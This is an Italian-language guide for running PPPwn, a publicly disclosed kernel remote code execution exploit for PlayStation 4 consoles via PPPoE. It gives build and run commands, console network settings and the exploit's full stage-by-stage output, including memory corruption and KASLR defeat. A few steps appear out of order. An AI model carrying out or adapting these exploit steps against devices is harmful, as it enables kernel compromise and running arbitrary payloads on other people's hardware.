
PPPwn - PlayStation 4 PPPoE RCE
PPPwn è un exploit di esecuzione remota del codice a livello di kernel per PlayStation 4 fino al FW 11.00. Questo è un proof-of-concept per CVE-2006-4304 che è stato segnalato in modo responsabile a PlayStation.
Versioni supportate:
L'exploit stampa solo PPPwned sulla tua PS4 come proof-of-concept. Per avviare Mira o simili abilitatori homebrew, il payload stage2.bin deve essere adattato.
Bridged Adapter come scheda di rete per usare la porta Ethernet nella VM.Sul tuo computer, clona il repository:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Spostati nella directory del repository clonato:
cd PPPwn
Installa i requisiti:
sudo pip install -r requirements.txt
Compila i payload:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Per altri firmware, ad esempio FW 9.00, passa FW=900.
NON eseguire ancora l'exploit (non premere ancora Invio), ma prepara questo comando nel tuo terminale (vedi ifconfig per l'interfaccia corretta):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Per altri firmware, ad esempio FW 9.00, passa --fw=900.
Sulla tua PS4:
Vai su Settings e poi su Network
Seleziona Set Up Internet connection e scegli Use a LAN Cable
Scegli la configurazione Custom e seleziona PPPoE per IP Address Settings
Inserisci qualsiasi cosa per PPPoE User ID e PPPoE Password
Scegli Automatic per DNS Settings e MTU Settings
Scegli Do Not Use per Proxy Server
ATTENDI SEMPRE che la console mostri il messaggio "Cannot connect to network: (NW-31274-7)" prima di riprovare questa iniezione PPPOE.
Se l'exploit fallisce o la PS4 si blocca, puoi saltare la configurazione Internet e fare semplicemente clic su Test Internet Connection. Termina lo script pppwn.py ed eseguilo di nuovo sul tuo computer, poi fai clic su Test Internet Connection sulla tua PS4: sempre contemporaneamente.
Se l'exploit funziona, dovresti vedere un output simile a quello qui sotto e dovresti vedere Cannot connect to network. seguito da PPPwned stampato sulla tua PS4, o viceversa.
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
Il codice non compila su Apple Silicon e richiede l'architettura AMD64.
Esiste una soluzione alternativa che utilizza Docker per generare i file bin necessari.
Clona questo repository sul tuo Mac, poi dalla cartella del repository esegui ./build-macarm.sh. Questo compilerà i binari per PS4 FW 1100 e inserirà i file necessari nelle cartelle corrette. Per compilare i binari per una versione diversa, ad esempio 900, esegui il comando così: ./build-macarm.sh 900. Una volta compilati, copia questa struttura di cartelle nella VM Linux ed esegui come indicato sopra.
È stato testato con VMware Fusion 13.5.1, con il Guest della VM come Ubuntu 24.04 e la macchina host con MacOS 14.4.1.
Ora premi contemporaneamente il pulsante 'X' sul controller su Test Internet Connection e 'Invio' sulla tastiera (sul computer dove hai il tuo script Python pronto da eseguire).